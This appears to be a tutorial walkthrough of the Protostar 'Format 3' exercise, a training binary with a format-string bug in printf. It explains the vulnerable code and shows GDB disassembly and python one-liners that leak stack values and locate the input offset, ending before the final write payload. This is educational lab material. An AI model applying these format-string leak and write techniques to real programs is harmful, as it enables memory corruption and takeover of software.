The goal of this challenge is to leverage a Format String vulnerability to write arbitrary bytes to the process memory and to print out the winning statement.

Image for post

Things to note

  • **char buffer[512]**: Setting the buffer size to 512.
  • **fgets(buffer, sizeof(buffer), stdin)**: This func gets a user supplied-input. And it limits the buffer size to 512. We can max-input 511 bytes because C always add 0x00 at the end as a string terminator.
  • **printf(string);**: This is the vulnerable function in this code. The printf() will not check whether the supplied inputs are expected format strings or not. This is because it’s coded to accept any input values at the location where the format parameter is supposed to be. So what we can do is simply to verify if we can leak the memory addresses and also write arbitrary values onto the stack ([READ] %p or %x → [WRITE] %n).
  • **if(target == 0x01025544) {**: The target variable is what we need to find on the stack. Then, leveraging a Format String vulnerability, we will overwrite the 4 bytes to the target to match with the 0x01025544 to print out the winning statement.

Disassemble (GDB)

Let’s disassemble the binary to see what is doing at the ASM-level. This is very similar to the Format2. Only difference is the cmp value:

$ gdb -q format3
Reading symbols from /opt/protostar/bin/format3...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln

Image for post


Exploit

Initial Recon

Let’s supply some random strings to watch how the program behaves:

$ python -c 'print "AAAA"' | /opt/protostar/bin/format3 
AAAA
target is 00000000 :(

But if we enter Format String parameters (%08x), we get some interesting outputs:

$ python -c 'print "AAAA" + "|%08x" * 2' | /opt/protostar/bin/format3 
AAAA|00000000|bffff590    <-- Leaking memory address
target is 00000000 :(
### Format String Explanation
"%08x" = "%x" is a Format String parameter of the hexdecimal 
         representation. 
         The number "08" is the minimum value for "width field."
         This will pad the output of the "%x" specified to 8
         characters, which is equal to 4 bytes long.

Finding Offset

Next, we need to find the offset where we can see our supplied-input on the stack. If we try adding a couple of more %xs, we can find the offset at the 12th location.

$ python -c 'print "AAAA" + "|%08x" * 12' | /opt/protostar/bin/format3 
AAAA|00000000|bffff590|b7fd7ff4|00000000|00000000|bffff798|0804849d|bffff590|00000200|b7fd8420|bffff5d4|41414141    <-- chr(0x41) = "A"
target is 00000000 :(

#exploit-exercise-format3 #protostar-walkthrough #format3-solution #protostar-format3 #format-string-attack #string

[ExpDev] Exploit Exercise | Protostar | Format 3
3.60 GEEK